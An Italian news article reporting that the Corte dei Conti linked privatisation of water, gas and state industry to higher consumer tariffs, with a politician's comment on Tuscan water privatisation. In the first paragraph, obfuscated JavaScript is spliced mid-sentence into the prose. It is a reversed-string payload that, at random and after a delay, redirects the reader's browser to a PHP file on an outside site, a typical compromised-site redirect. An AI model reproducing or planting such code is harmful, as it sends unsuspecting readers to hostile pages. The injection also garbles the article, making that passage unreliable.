Privatizzazione acqua e gas. Solo aumenti per i consumatori. Lo dice la Corte dei Conti

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Le dismissioni dell’industria e delle banche di Stato non hanno fatto bene ai consumatori che hanno visto lievitare prezzi e tariffe. Lo sostiene la Corte dei Conti in uno dei passaggi dell’indagine sugli ” energia, , si tratta di “Un’analisi, quella della Corte dei Conti, che deve dare una sveglia anche ai politici del centrosinistra toscano che governa da anni i processi di privatizzazione locali a partire da quello di Publiacqua, che – non è un caso – da qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando è stata privatizzata ha visto esplodere le tariffe a danno dell’utenza. Si tratta di un’ulteriore prova che le battaglie portate avanti da anni da cittadini, associazioni e movimenti per la ripubblicizzazione dei beni comuni – a partire dall’acqua – non hanno, e non avevano niente di strumentalmente ideologico.”

Per De Zordo “Oggi gli amministratori pubblici non hanno davvero più scuse quando perseverano con le privatizzazioni, anche a sinistra. Se in buona fede, significa che non hanno ancora compreso i meccanismi economici che regolano il mercato liberista; se in cattiva fede, vuol dire che in qualche modo hanno avuto il loro tornaconto in termini economici o di potere nel soddisfare gli appetiti delle aziende private a caccia di “buone doti” nel pubblico. In ambedue i casi è evidente il loro fallimento come amministratori del bene comune.”

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